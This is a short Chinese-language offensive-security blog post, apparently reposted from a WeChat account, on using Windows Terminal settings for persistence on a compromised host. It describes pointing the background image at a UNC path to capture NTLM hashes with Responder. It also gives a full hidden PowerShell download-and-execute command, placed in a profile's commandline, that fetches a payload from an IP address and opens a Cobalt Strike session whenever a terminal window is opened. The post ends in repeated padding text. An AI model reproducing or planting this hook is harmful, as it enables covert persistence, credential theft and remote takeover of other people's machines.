利用windows terminal进行权限维持

  • A+
所属分类:安全文章


windows terminal是什么?


利用windows terminal进行权限维持


由于其方便可自定义等特性,被人所喜欢,今天我们就来聊一聊使用该工具进行权限维持。


利用windows terminal进行权限维持


由于其支持个人配置,所以我们可以在这个方面做文章,其配置文件为json文件,具体格式可参考微软给出的文档(https://docs.microsoft.com/en-us/windows/terminal/customize-settings/profile-settings)


1、hash获取


在背景图片哪里设置为UNC路径,然后使用response工具进行监听,当开启指定终端时,即可获取到目标机器的hash


利用windows terminal进行权限维持


hash


利用windows terminal进行权限维持


2、反弹会话


在其属性中可以设置启动的文件,且可以带参数,这就导致我们可以任意运行我们的程序。


利用windows terminal进行权限维持


设置powershell上线


"commandline":"powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.114:8088/a'))""


利用windows terminal进行权限维持


新建窗口后,cs收到会话


利用windows terminal进行权限维持


注意:让其上线后还能继续使用powershell。


凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数

本文始发于微信公众号(鸿鹄实验室):利用windows terminal进行权限维持

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: